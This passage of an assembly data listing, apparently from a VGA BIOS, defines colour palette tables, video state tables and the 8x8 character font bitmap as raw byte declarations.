db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah
db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah
db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah
db 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 02ah, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh
db 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh, 03fh
_palette1: ; 0xc4f03 LB 0xc0
db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah
db 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah
db 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah, 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah
db 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh, 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh
db 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh
db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh
db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah
db 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah
db 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah, 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah
db 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh, 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh
db 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh
db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh
_palette2: ; 0xc4fc3 LB 0xc0
db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah
db 000h, 02ah, 02ah, 02ah, 000h, 02ah, 02ah, 02ah, 000h, 000h, 015h, 000h, 000h, 03fh, 000h, 02ah
db 015h, 000h, 02ah, 03fh, 02ah, 000h, 015h, 02ah, 000h, 03fh, 02ah, 02ah, 015h, 02ah, 02ah, 03fh
db 000h, 015h, 000h, 000h, 015h, 02ah, 000h, 03fh, 000h, 000h, 03fh, 02ah, 02ah, 015h, 000h, 02ah
db 015h, 02ah, 02ah, 03fh, 000h, 02ah, 03fh, 02ah, 000h, 015h, 015h, 000h, 015h, 03fh, 000h, 03fh
db 015h, 000h, 03fh, 03fh, 02ah, 015h, 015h, 02ah, 015h, 03fh, 02ah, 03fh, 015h, 02ah, 03fh, 03fh
db 015h, 000h, 000h, 015h, 000h, 02ah, 015h, 02ah, 000h, 015h, 02ah, 02ah, 03fh, 000h, 000h, 03fh
db 000h, 02ah, 03fh, 02ah, 000h, 03fh, 02ah, 02ah, 015h, 000h, 015h, 015h, 000h, 03fh, 015h, 02ah
db 015h, 015h, 02ah, 03fh, 03fh, 000h, 015h, 03fh, 000h, 03fh, 03fh, 02ah, 015h, 03fh, 02ah, 03fh
db 015h, 015h, 000h, 015h, 015h, 02ah, 015h, 03fh, 000h, 015h, 03fh, 02ah, 03fh, 015h, 000h, 03fh
db 015h, 02ah, 03fh, 03fh, 000h, 03fh, 03fh, 02ah, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh
db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh
_palette3: ; 0xc5083 LB 0x300
db 000h, 000h, 000h, 000h, 000h, 02ah, 000h, 02ah, 000h, 000h, 02ah, 02ah, 02ah, 000h, 000h, 02ah
db 000h, 02ah, 02ah, 015h, 000h, 02ah, 02ah, 02ah, 015h, 015h, 015h, 015h, 015h, 03fh, 015h, 03fh
db 015h, 015h, 03fh, 03fh, 03fh, 015h, 015h, 03fh, 015h, 03fh, 03fh, 03fh, 015h, 03fh, 03fh, 03fh
db 000h, 000h, 000h, 005h, 005h, 005h, 008h, 008h, 008h, 00bh, 00bh, 00bh, 00eh, 00eh, 00eh, 011h
db 011h, 011h, 014h, 014h, 014h, 018h, 018h, 018h, 01ch, 01ch, 01ch, 020h, 020h, 020h, 024h, 024h
db 024h, 028h, 028h, 028h, 02dh, 02dh, 02dh, 032h, 032h, 032h, 038h, 038h, 038h, 03fh, 03fh, 03fh
db 000h, 000h, 03fh, 010h, 000h, 03fh, 01fh, 000h, 03fh, 02fh, 000h, 03fh, 03fh, 000h, 03fh, 03fh
db 000h, 02fh, 03fh, 000h, 01fh, 03fh, 000h, 010h, 03fh, 000h, 000h, 03fh, 010h, 000h, 03fh, 01fh
db 000h, 03fh, 02fh, 000h, 03fh, 03fh, 000h, 02fh, 03fh, 000h, 01fh, 03fh, 000h, 010h, 03fh, 000h
db 000h, 03fh, 000h, 000h, 03fh, 010h, 000h, 03fh, 01fh, 000h, 03fh, 02fh, 000h, 03fh, 03fh, 000h
db 02fh, 03fh, 000h, 01fh, 03fh, 000h, 010h, 03fh, 01fh, 01fh, 03fh, 027h, 01fh, 03fh, 02fh, 01fh
db 03fh, 037h, 01fh, 03fh, 03fh, 01fh, 03fh, 03fh, 01fh, 037h, 03fh, 01fh, 02fh, 03fh, 01fh, 027h
db 03fh, 01fh, 01fh, 03fh, 027h, 01fh, 03fh, 02fh, 01fh, 03fh, 037h, 01fh, 03fh, 03fh, 01fh, 037h
db 03fh, 01fh, 02fh, 03fh, 01fh, 027h, 03fh, 01fh, 01fh, 03fh, 01fh, 01fh, 03fh, 027h, 01fh, 03fh
db 02fh, 01fh, 03fh, 037h, 01fh, 03fh, 03fh, 01fh, 037h, 03fh, 01fh, 02fh, 03fh, 01fh, 027h, 03fh
db 02dh, 02dh, 03fh, 031h, 02dh, 03fh, 036h, 02dh, 03fh, 03ah, 02dh, 03fh, 03fh, 02dh, 03fh, 03fh
db 02dh, 03ah, 03fh, 02dh, 036h, 03fh, 02dh, 031h, 03fh, 02dh, 02dh, 03fh, 031h, 02dh, 03fh, 036h
db 02dh, 03fh, 03ah, 02dh, 03fh, 03fh, 02dh, 03ah, 03fh, 02dh, 036h, 03fh, 02dh, 031h, 03fh, 02dh
db 02dh, 03fh, 02dh, 02dh, 03fh, 031h, 02dh, 03fh, 036h, 02dh, 03fh, 03ah, 02dh, 03fh, 03fh, 02dh
db 03ah, 03fh, 02dh, 036h, 03fh, 02dh, 031h, 03fh, 000h, 000h, 01ch, 007h, 000h, 01ch, 00eh, 000h
db 01ch, 015h, 000h, 01ch, 01ch, 000h, 01ch, 01ch, 000h, 015h, 01ch, 000h, 00eh, 01ch, 000h, 007h
db 01ch, 000h, 000h, 01ch, 007h, 000h, 01ch, 00eh, 000h, 01ch, 015h, 000h, 01ch, 01ch, 000h, 015h
db 01ch, 000h, 00eh, 01ch, 000h, 007h, 01ch, 000h, 000h, 01ch, 000h, 000h, 01ch, 007h, 000h, 01ch
db 00eh, 000h, 01ch, 015h, 000h, 01ch, 01ch, 000h, 015h, 01ch, 000h, 00eh, 01ch, 000h, 007h, 01ch
db 00eh, 00eh, 01ch, 011h, 00eh, 01ch, 015h, 00eh, 01ch, 018h, 00eh, 01ch, 01ch, 00eh, 01ch, 01ch
db 00eh, 018h, 01ch, 00eh, 015h, 01ch, 00eh, 011h, 01ch, 00eh, 00eh, 01ch, 011h, 00eh, 01ch, 015h
db 00eh, 01ch, 018h, 00eh, 01ch, 01ch, 00eh, 018h, 01ch, 00eh, 015h, 01ch, 00eh, 011h, 01ch, 00eh
db 00eh, 01ch, 00eh, 00eh, 01ch, 011h, 00eh, 01ch, 015h, 00eh, 01ch, 018h, 00eh, 01ch, 01ch, 00eh
db 018h, 01ch, 00eh, 015h, 01ch, 00eh, 011h, 01ch, 014h, 014h, 01ch, 016h, 014h, 01ch, 018h, 014h
db 01ch, 01ah, 014h, 01ch, 01ch, 014h, 01ch, 01ch, 014h, 01ah, 01ch, 014h, 018h, 01ch, 014h, 016h
db 01ch, 014h, 014h, 01ch, 016h, 014h, 01ch, 018h, 014h, 01ch, 01ah, 014h, 01ch, 01ch, 014h, 01ah
db 01ch, 014h, 018h, 01ch, 014h, 016h, 01ch, 014h, 014h, 01ch, 014h, 014h, 01ch, 016h, 014h, 01ch
db 018h, 014h, 01ch, 01ah, 014h, 01ch, 01ch, 014h, 01ah, 01ch, 014h, 018h, 01ch, 014h, 016h, 01ch
db 000h, 000h, 010h, 004h, 000h, 010h, 008h, 000h, 010h, 00ch, 000h, 010h, 010h, 000h, 010h, 010h
db 000h, 00ch, 010h, 000h, 008h, 010h, 000h, 004h, 010h, 000h, 000h, 010h, 004h, 000h, 010h, 008h
db 000h, 010h, 00ch, 000h, 010h, 010h, 000h, 00ch, 010h, 000h, 008h, 010h, 000h, 004h, 010h, 000h
db 000h, 010h, 000h, 000h, 010h, 004h, 000h, 010h, 008h, 000h, 010h, 00ch, 000h, 010h, 010h, 000h
db 00ch, 010h, 000h, 008h, 010h, 000h, 004h, 010h, 008h, 008h, 010h, 00ah, 008h, 010h, 00ch, 008h
db 010h, 00eh, 008h, 010h, 010h, 008h, 010h, 010h, 008h, 00eh, 010h, 008h, 00ch, 010h, 008h, 00ah
db 010h, 008h, 008h, 010h, 00ah, 008h, 010h, 00ch, 008h, 010h, 00eh, 008h, 010h, 010h, 008h, 00eh
db 010h, 008h, 00ch, 010h, 008h, 00ah, 010h, 008h, 008h, 010h, 008h, 008h, 010h, 00ah, 008h, 010h
db 00ch, 008h, 010h, 00eh, 008h, 010h, 010h, 008h, 00eh, 010h, 008h, 00ch, 010h, 008h, 00ah, 010h
db 00bh, 00bh, 010h, 00ch, 00bh, 010h, 00dh, 00bh, 010h, 00fh, 00bh, 010h, 010h, 00bh, 010h, 010h
db 00bh, 00fh, 010h, 00bh, 00dh, 010h, 00bh, 00ch, 010h, 00bh, 00bh, 010h, 00ch, 00bh, 010h, 00dh
db 00bh, 010h, 00fh, 00bh, 010h, 010h, 00bh, 00fh, 010h, 00bh, 00dh, 010h, 00bh, 00ch, 010h, 00bh
db 00bh, 010h, 00bh, 00bh, 010h, 00ch, 00bh, 010h, 00dh, 00bh, 010h, 00fh, 00bh, 010h, 010h, 00bh
db 00fh, 010h, 00bh, 00dh, 010h, 00bh, 00ch, 010h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
_static_functionality: ; 0xc5383 LB 0x10
db 0ffh, 0e0h, 00fh, 000h, 000h, 000h, 000h, 007h, 002h, 008h, 0e7h, 00ch, 000h, 000h, 000h, 000h
_dcc_table: ; 0xc5393 LB 0x24
db 010h, 001h, 007h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h
_secondary_save_area: ; 0xc53b7 LB 0x1a
db 01ah, 000h, 093h, 053h, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
_video_save_pointer_table: ; 0xc53d1 LB 0x1c
db 0c3h, 046h, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0b7h, 053h, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
_vgafont8: ; 0xc53ed LB 0x800
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 081h, 0a5h, 081h, 0bdh, 099h, 081h, 07eh
db 07eh, 0ffh, 0dbh, 0ffh, 0c3h, 0e7h, 0ffh, 07eh, 06ch, 0feh, 0feh, 0feh, 07ch, 038h, 010h, 000h
db 010h, 038h, 07ch, 0feh, 07ch, 038h, 010h, 000h, 038h, 07ch, 038h, 0feh, 0feh, 07ch, 038h, 07ch
db 010h, 010h, 038h, 07ch, 0feh, 07ch, 038h, 07ch, 000h, 000h, 018h, 03ch, 03ch, 018h, 000h, 000h
db 0ffh, 0ffh, 0e7h, 0c3h, 0c3h, 0e7h, 0ffh, 0ffh, 000h, 03ch, 066h, 042h, 042h, 066h, 03ch, 000h
db 0ffh, 0c3h, 099h, 0bdh, 0bdh, 099h, 0c3h, 0ffh, 00fh, 007h, 00fh, 07dh, 0cch, 0cch, 0cch, 078h
db 03ch, 066h, 066h, 066h, 03ch, 018h, 07eh, 018h, 03fh, 033h, 03fh, 030h, 030h, 070h, 0f0h, 0e0h
db 07fh, 063h, 07fh, 063h, 063h, 067h, 0e6h, 0c0h, 099h, 05ah, 03ch, 0e7h, 0e7h, 03ch, 05ah, 099h
db 080h, 0e0h, 0f8h, 0feh, 0f8h, 0e0h, 080h, 000h, 002h, 00eh, 03eh, 0feh, 03eh, 00eh, 002h, 000h
db 018h, 03ch, 07eh, 018h, 018h, 07eh, 03ch, 018h, 066h, 066h, 066h, 066h, 066h, 000h, 066h, 000h
db 07fh, 0dbh, 0dbh, 07bh, 01bh, 01bh, 01bh, 000h, 03eh, 063h, 038h, 06ch, 06ch, 038h, 0cch, 078h
db 000h, 000h, 000h, 000h, 07eh, 07eh, 07eh, 000h, 018h, 03ch, 07eh, 018h, 07eh, 03ch, 018h, 0ffh
db 018h, 03ch, 07eh, 018h, 018h, 018h, 018h, 000h, 018h, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h
db 000h, 018h, 00ch, 0feh, 00ch, 018h, 000h, 000h, 000h, 030h, 060h, 0feh, 060h, 030h, 000h, 000h
db 000h, 000h, 0c0h, 0c0h, 0c0h, 0feh, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h
db 000h, 018h, 03ch, 07eh, 0ffh, 0ffh, 000h, 000h, 000h, 0ffh, 0ffh, 07eh, 03ch, 018h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 078h, 078h, 030h, 030h, 000h, 030h, 000h
db 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 06ch, 06ch, 0feh, 06ch, 0feh, 06ch, 06ch, 000h
db 030h, 07ch, 0c0h, 078h, 00ch, 0f8h, 030h, 000h, 000h, 0c6h, 0cch, 018h, 030h, 066h, 0c6h, 000h
db 038h, 06ch, 038h, 076h, 0dch, 0cch, 076h, 000h, 060h, 060h, 0c0h, 000h, 000h, 000h, 000h, 000h
db 018h, 030h, 060h, 060h, 060h, 030h, 018h, 000h, 060h, 030h, 018h, 018h, 018h, 030h, 060h, 000h
db 000h, 066h, 03ch, 0ffh, 03ch, 066h, 000h, 000h, 000h, 030h, 030h, 0fch, 030h, 030h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 030h, 030h, 060h, 000h, 000h, 000h, 0fch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 030h, 030h, 000h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 080h, 000h
db 07ch, 0c6h, 0ceh, 0deh, 0f6h, 0e6h, 07ch, 000h, 030h, 070h, 030h, 030h, 030h, 030h, 0fch, 000h
db 078h, 0cch, 00ch, 038h, 060h, 0cch, 0fch, 000h, 078h, 0cch, 00ch, 038h, 00ch, 0cch, 078h, 000h
db 01ch, 03ch, 06ch, 0cch, 0feh, 00ch, 01eh, 000h, 0fch, 0c0h, 0f8h, 00ch, 00ch, 0cch, 078h, 000h
db 038h, 060h, 0c0h, 0f8h, 0cch, 0cch, 078h, 000h, 0fch, 0cch, 00ch, 018h, 030h, 030h, 030h, 000h
db 078h, 0cch, 0cch, 078h, 0cch, 0cch, 078h, 000h, 078h, 0cch, 0cch, 07ch, 00ch, 018h, 070h, 000h
db 000h, 030h, 030h, 000h, 000h, 030h, 030h, 000h, 000h, 030h, 030h, 000h, 000h, 030h, 030h, 060h
db 018h, 030h, 060h, 0c0h, 060h, 030h, 018h, 000h, 000h, 000h, 0fch, 000h, 000h, 0fch, 000h, 000h
db 060h, 030h, 018h, 00ch, 018h, 030h, 060h, 000h, 078h, 0cch, 00ch, 018h, 030h, 000h, 030h, 000h
db 07ch, 0c6h, 0deh, 0deh, 0deh, 0c0h, 078h, 000h, 030h, 078h, 0cch, 0cch, 0fch, 0cch, 0cch, 000h
db 0fch, 066h, 066h, 07ch, 066h, 066h, 0fch, 000h, 03ch, 066h, 0c0h, 0c0h, 0c0h, 066h, 03ch, 000h
db 0f8h, 06ch, 066h, 066h, 066h, 06ch, 0f8h, 000h, 0feh, 062h, 068h, 078h, 068h, 062h, 0feh, 000h
db 0feh, 062h, 068h, 078h, 068h, 060h, 0f0h, 000h, 03ch, 066h, 0c0h, 0c0h, 0ceh, 066h, 03eh, 000h
db 0cch, 0cch, 0cch, 0fch, 0cch, 0cch, 0cch, 000h, 078h, 030h, 030h, 030h, 030h, 030h, 078h, 000h
db 01eh, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 000h, 0e6h, 066h, 06ch, 078h, 06ch, 066h, 0e6h, 000h
db 0f0h, 060h, 060h, 060h, 062h, 066h, 0feh, 000h, 0c6h, 0eeh, 0feh, 0feh, 0d6h, 0c6h, 0c6h, 000h
db 0c6h, 0e6h, 0f6h, 0deh, 0ceh, 0c6h, 0c6h, 000h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 06ch, 038h, 000h
db 0fch, 066h, 066h, 07ch, 060h, 060h, 0f0h, 000h, 078h, 0cch, 0cch, 0cch, 0dch, 078h, 01ch, 000h
db 0fch, 066h, 066h, 07ch, 06ch, 066h, 0e6h, 000h, 078h, 0cch, 0e0h, 070h, 01ch, 0cch, 078h, 000h
db 0fch, 0b4h, 030h, 030h, 030h, 030h, 078h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 0fch, 000h
db 0cch, 0cch, 0cch, 0cch, 0cch, 078h, 030h, 000h, 0c6h, 0c6h, 0c6h, 0d6h, 0feh, 0eeh, 0c6h, 000h
db 0c6h, 0c6h, 06ch, 038h, 038h, 06ch, 0c6h, 000h, 0cch, 0cch, 0cch, 078h, 030h, 030h, 078h, 000h
db 0feh, 0c6h, 08ch, 018h, 032h, 066h, 0feh, 000h, 078h, 060h, 060h, 060h, 060h, 060h, 078h, 000h
db 0c0h, 060h, 030h, 018h, 00ch, 006h, 002h, 000h, 078h, 018h, 018h, 018h, 018h, 018h, 078h, 000h
db 010h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh
db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 078h, 00ch, 07ch, 0cch, 076h, 000h
db 0e0h, 060h, 060h, 07ch, 066h, 066h, 0dch, 000h, 000h, 000h, 078h, 0cch, 0c0h, 0cch, 078h, 000h
db 01ch, 00ch, 00ch, 07ch, 0cch, 0cch, 076h, 000h, 000h, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h
db 038h, 06ch, 060h, 0f0h, 060h, 060h, 0f0h, 000h, 000h, 000h, 076h, 0cch, 0cch, 07ch, 00ch, 0f8h
db 0e0h, 060h, 06ch, 076h, 066h, 066h, 0e6h, 000h, 030h, 000h, 070h, 030h, 030h, 030h, 078h, 000h
db 00ch, 000h, 00ch, 00ch, 00ch, 0cch, 0cch, 078h, 0e0h, 060h, 066h, 06ch, 078h, 06ch, 0e6h, 000h
db 070h, 030h, 030h, 030h, 030h, 030h, 078h, 000h, 000h, 000h, 0cch, 0feh, 0feh, 0d6h, 0c6h, 000h
db 000h, 000h, 0f8h, 0cch, 0cch, 0cch, 0cch, 000h, 000h, 000h, 078h, 0cch, 0cch, 0cch, 078h, 000h
db 000h, 000h, 0dch, 066h, 066h, 07ch, 060h, 0f0h, 000h, 000h, 076h, 0cch, 0cch, 07ch, 00ch, 01eh
db 000h, 000h, 0dch, 076h, 066h, 060h, 0f0h, 000h, 000h, 000h, 07ch, 0c0h, 078h, 00ch, 0f8h, 000h
db 010h, 030h, 07ch, 030h, 030h, 034h, 018h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 076h, 000h
db 000h, 000h, 0cch, 0cch, 0cch, 078h, 030h, 000h, 000h, 000h, 0c6h, 0d6h, 0feh, 0feh, 06ch, 000h
db 000h, 000h, 0c6h, 06ch, 038h, 06ch, 0c6h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 07ch, 00ch, 0f8h
db 000h, 000h, 0fch, 098h, 030h, 064h, 0fch, 000h, 01ch, 030h, 030h, 0e0h, 030h, 030h, 01ch, 000h
db 018h, 018h, 018h, 000h, 018h, 018h, 018h, 000h, 0e0h, 030h, 030h, 01ch, 030h, 030h, 0e0h, 000h
db 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 000h
db 078h, 0cch, 0c0h, 0cch, 078h, 018h, 00ch, 078h, 000h, 0cch, 000h, 0cch, 0cch, 0cch, 07eh, 000h
db 01ch, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h, 07eh, 0c3h, 03ch, 006h, 03eh, 066h, 03fh, 000h
db 0cch, 000h, 078h, 00ch, 07ch, 0cch, 07eh, 000h, 0e0h, 000h, 078h, 00ch, 07ch, 0cch, 07eh, 000h
db 030h, 030h, 078h, 00ch, 07ch, 0cch, 07eh, 000h, 000h, 000h, 078h, 0c0h, 0c0h, 078h, 00ch, 038h
db 07eh, 0c3h, 03ch, 066h, 07eh, 060h, 03ch, 000h, 0cch, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h
db 0e0h, 000h, 078h, 0cch, 0fch, 0c0h, 078h, 000h, 0cch, 000h, 070h, 030h, 030h, 030h, 078h, 000h
db 07ch, 0c6h, 038h, 018h, 018h, 018h, 03ch, 000h, 0e0h, 000h, 070h, 030h, 030h, 030h, 078h, 000h
db 0c6h, 038h, 06ch, 0c6h, 0feh, 0c6h, 0c6h, 000h, 030h, 030h, 000h, 078h, 0cch, 0fch, 0cch, 000h
db 01ch, 000h, 0fch, 060h, 078h, 060h, 0fch, 000h, 000h, 000h, 07fh, 00ch, 07fh, 0cch, 07fh, 000h
db 03eh, 06ch, 0cch, 0feh, 0cch, 0cch, 0ceh, 000h, 078h, 0cch, 000h, 078h, 0cch, 0cch, 078h, 000h
db 000h, 0cch, 000h, 078h, 0cch, 0cch, 078h, 000h, 000h, 0e0h, 000h, 078h, 0cch, 0cch, 078h, 000h
db 078h, 0cch, 000h, 0cch, 0cch, 0cch, 07eh, 000h, 000h, 0e0h, 000h, 0cch, 0cch, 0cch, 07eh, 000h
db 000h, 0cch, 000h, 0cch, 0cch, 07ch, 00ch, 0f8h, 0c3h, 018h, 03ch, 066h, 066h, 03ch, 018h, 000h
db 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 078h, 000h, 018h, 018h, 07eh, 0c0h, 0c0h, 07eh, 018h, 018h
db 038h, 06ch, 064h, 0f0h, 060h, 0e6h, 0fch, 000h, 0cch, 0cch, 078h, 0fch, 030h, 0fch, 030h, 030h
db 0f8h, 0cch, 0cch, 0fah, 0c6h, 0cfh, 0c6h, 0c7h, 00eh, 01bh, 018h, 03ch, 018h, 018h, 0d8h, 070h
db 01ch, 000h, 078h, 00ch, 07ch, 0cch, 07eh, 000h, 038h, 000h, 070h, 030h, 030h, 030h, 078h, 000h
db 000h, 01ch, 000h, 078h, 0cch, 0cch, 078h, 000h, 000h, 01ch, 000h, 0cch, 0cch, 0cch, 07eh, 000h
db 000h, 0f8h, 000h, 0f8h, 0cch, 0cch, 0cch, 000h, 0fch, 000h, 0cch, 0ech, 0fch, 0dch, 0cch, 000h
db 03ch, 06ch, 06ch, 03eh, 000h, 07eh, 000h, 000h, 038h, 06ch, 06ch, 038h, 000h, 07ch, 000h, 000h
db 030h, 000h, 030h, 060h, 0c0h, 0cch, 078h, 000h, 000h, 000h, 000h, 0fch, 0c0h, 0c0h, 000h, 000h
db 000h, 000h, 000h, 0fch, 00ch, 00ch, 000h, 000h, 0c3h, 0c6h, 0cch, 0deh, 033h, 066h, 0cch, 00fh
db 0c3h, 0c6h, 0cch, 0dbh, 037h, 06fh, 0cfh, 003h, 018h, 018h, 000h, 018h, 018h, 018h, 018h, 000h
db 000h, 033h, 066h, 0cch, 066h, 033h, 000h, 000h, 000h, 0cch, 066h, 033h, 066h, 0cch, 000h, 000h
db 022h, 088h, 022h, 088h, 022h, 088h, 022h, 088h, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah
db 0dbh, 077h, 0dbh, 0eeh, 0dbh, 077h, 0dbh, 0eeh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 0f8h, 018h, 018h, 018h, 018h, 018h, 0f8h, 018h, 0f8h, 018h, 018h, 018h
db 036h, 036h, 036h, 036h, 0f6h, 036h, 036h, 036h, 000h, 000h, 000h, 000h, 0feh, 036h, 036h, 036h
db 000h, 000h, 0f8h, 018h, 0f8h, 018h, 018h, 018h, 036h, 036h, 0f6h, 006h, 0f6h, 036h, 036h, 036h
db 036h, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 000h, 000h, 0feh, 006h, 0f6h, 036h, 036h, 036h
db 036h, 036h, 0f6h, 006h, 0feh, 000h, 000h, 000h, 036h, 036h, 036h, 036h, 0feh, 000h, 000h, 000h
db 018h, 018h, 0f8h, 018h, 0f8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0f8h, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 01fh, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 0ffh, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 01fh, 018h, 018h, 018h
db 000h, 000h, 000h, 000h, 0ffh, 000h, 000h, 000h, 018h, 018h, 018h, 018h, 0ffh, 018h, 018h, 018h
db 018h, 018h, 01fh, 018h, 01fh, 018h, 018h, 018h, 036h, 036h, 036h, 036h, 037h, 036h, 036h, 036h
db 036h, 036h, 037h, 030h, 03fh, 000h, 000h, 000h, 000h, 000h, 03fh, 030h, 037h, 036h, 036h, 036h
db 036h, 036h, 0f7h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0f7h, 036h, 036h, 036h
db 036h, 036h, 037h, 030h, 037h, 036h, 036h, 036h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 000h, 000h
db 036h, 036h, 0f7h, 000h, 0f7h, 036h, 036h, 036h, 018h, 018h, 0ffh, 000h, 0ffh, 000h, 000h, 000h
db 036h, 036h, 036h, 036h, 0ffh, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 018h, 018h, 018h
db 000h, 000h, 000h, 000h, 0ffh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 03fh, 000h, 000h, 000h
db 018h, 018h, 01fh, 018h, 01fh, 000h, 000h, 000h, 000h, 000h, 01fh, 018h, 01fh, 018h, 018h, 018h
db 000h, 000h, 000h, 000h, 03fh, 036h, 036h, 036h, 036h, 036h, 036h, 036h, 0ffh, 036h, 036h, 036h
db 018h, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0f8h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 01fh, 018h, 018h, 018h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 000h, 000h, 000h, 000h, 0ffh, 0ffh, 0ffh, 0ffh, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h, 0f0h
db 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 00fh, 0ffh, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h
db 000h, 000h, 076h, 0dch, 0c8h, 0dch, 076h, 000h, 000h, 078h, 0cch, 0f8h, 0cch, 0f8h, 0c0h, 0c0h
db 000h, 0fch, 0cch, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 0feh, 06ch, 06ch, 06ch, 06ch, 06ch, 000h
db 0fch, 0cch, 060h, 030h, 060h, 0cch, 0fch, 000h, 000h, 000h, 07eh, 0d8h, 0d8h, 0d8h, 070h, 000h
db 000h, 066h, 066h, 066h, 066h, 07ch, 060h, 0c0h, 000h, 076h, 0dch, 018h, 018h, 018h, 018h, 000h
db 0fch, 030h, 078h, 0cch, 0cch, 078h, 030h, 0fch, 038h, 06ch, 0c6h, 0feh, 0c6h, 06ch, 038h, 000h
